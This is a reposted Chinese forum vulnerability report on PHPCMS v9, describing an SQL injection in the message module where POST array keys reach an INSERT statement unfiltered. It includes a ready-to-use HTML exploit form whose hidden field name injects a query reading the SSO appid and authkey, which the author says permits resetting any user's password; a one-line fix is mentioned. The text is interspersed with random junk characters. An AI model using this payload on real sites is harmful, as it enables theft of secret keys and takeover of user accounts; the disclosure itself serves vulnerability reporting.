|
|
简要描述:1 @; I4 o: ]' R+ T
0 V8 |. _3 \$ ^* X; }# r3 T
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( X! o7 D' l0 p1 U& t
0 C$ n: P# R& i
明天再更新下一个漏洞。8 d( D$ S" Q j9 \1 D0 I+ K Y
详细说明:" b& Y, l5 T/ c; F9 v
在/phpcms9/phpcms/modules/message/index.php中有代码如下:: ]% E/ u1 M- w) ?
' p. F( o8 Z/ Y( C& v2 S$messageid = $this->message_db->insert($_POST['info'],true);% \( c1 p9 w3 F2 g
4 }7 n7 E' v/ s9 w" p. R
9 }) k! V1 y; J( f# minsert方法是key value的,代码如下:
0 M0 A% O7 l# A6 q" h" A* _! s
& k% u, D+ y" y* S$ Z6 hpublic function insert($data, $table, $return_insert_id = false, $replace = false) {5 {: t5 K# {& f! ~' n2 r
if(!is_array( $data ) || $table == '' || count($data) == 0) {
8 q+ `& e N; ?3 X6 l return false;
" X7 d4 G$ l9 s: y" {5 G& p1 C5 c }
1 s7 |3 C% F, c$ w/ _2 A 1 y* m6 @* W) [' y7 x6 u9 H
$fielddata = array_keys($data);
2 `0 @, E1 j( k2 r. | $valuedata = array_values($data);( s% u0 F: ]0 y) y9 i
array_walk($fielddata, array($this, 'add_special_char'));6 `8 ~( z# B# m- G" W( _3 p
array_walk($valuedata, array($this, 'escape_string'));" A8 S# N+ w! m$ t4 U7 S
1 `5 q9 T1 {, a. L' @0 ~ $field = implode (',', $fielddata);
# q8 k: A- ?9 a $value = implode (',', $valuedata);
1 g9 u' Q7 l7 n% T
( j4 r; k' m% \" G: M8 b7 N' u5 d $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
% D6 A7 I8 ?5 P0 h( R& v) h $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
) k5 a1 L* |5 X $return = $this->execute($sql);& D; ~/ W) C8 I. u
return $return_insert_id ? $this->insert_id() : $return;
# { H0 |+ ?) O; b; e0 H+ w3 g }* U4 d( O6 M+ o& l5 H" H
% p' q3 l D) b2 f7 ~
3 T; z, F! o. D l) E
嗯,很遗憾的是2 M" R* j) [( ^4 C: g, y* l/ f
' l2 B4 d8 n/ C9 O4 b* X2 jarray_walk($fielddata, array($this, 'add_special_char')); r& I" L l9 b) b2 w
& C$ x( c3 W! t! X- _1 ]
! w) s" m3 A7 o1 i/ ?% u% q
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。6 C; R7 m# j, u% }0 H
( u c9 d0 r% @# f0 O$ Z+ p到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。- k- X! D5 D, Q3 h" V: p; B
8 p# C5 ^/ n) f漏洞证明:) f# t, J2 z f9 y& m
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。! N+ Q; A% L; K5 F$ ?3 j
: D0 N0 w' W( K
& q' _5 K4 ~1 i; y0 s6 t表单如下:用户名什么的得自己改一改。, z% o/ f, l: j9 y' t( ~
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">( h9 k$ u8 z1 @8 H8 m7 n" V
<table width="100%" cellspacing="0" class="table_form">8 n, K) d) K) Q& p9 f
<tr>
* F+ N" o# Y& f2 }<th>标 题:</th>- M' a; ^: u7 F) v
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
/ J6 Z, h. ]6 Y9 {: \5 F A</tr>
8 m8 K4 J. A: @2 |$ m<tr>" M! u# [/ ^+ T" @" T
<th>内 容:</th>" U+ k; S0 ~" i+ M0 }
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>9 P" l; c! m5 K
</tr>7 j/ t" Y0 } q3 `
<input type="hidden" name="info[replyid]" value="2" />
3 o3 O( V( m- G$ e6 E; g! \4 B$ W<input type="hidden" name="info[send_to_id]" value="cc" />
: s& E2 m8 w( h$ e<input type="hidden" name="info[send_from_id]" value="hh">7 x) J5 z+ u( N0 D' `. H
<!-- 漏洞的利用重点在这里开始 -->& P# C/ v; K0 y) [
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> , X" z- D6 n& o7 ~: A
<!-- 漏洞的利用重点在这里结束 -->
3 f/ E( ]8 w6 W' H/ g<tr>
6 {0 m) v ~; Y" _- ]4 `<th>验证码:</th>: g7 L# g% N5 c* S( j* N
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>& {' x( S' x* l: U9 }
</tr>7 q2 D6 D" K' s0 ^+ K b: y
<tr>
# t& [* S% F9 h9 k6 g; b( E+ d/ E<td></td>9 A: C2 O+ `* e y% x
<td colspan="2"><label>9 i7 H# C0 W; ]' n3 _; s, K$ i! w- l
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>. z6 l# N6 n( C% w( u* C/ O
</label></td>4 b I- n( W' J+ u4 ?. G% z1 J
</tr>, J- ^1 ^; F3 G/ M- a
</table>
& O: [ S7 E+ i5 A8 a$ l" q</form>& R& d$ A4 f; s- m2 T" H1 `) e; D
在add_special_char函数内对key做过滤就可以了。" E& H' j) u( l* [4 I c
$ f9 W0 V+ P: s. ~9 {7 P- N* s2 |* {' }1 J
# l# X& o _3 V. r0 g
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|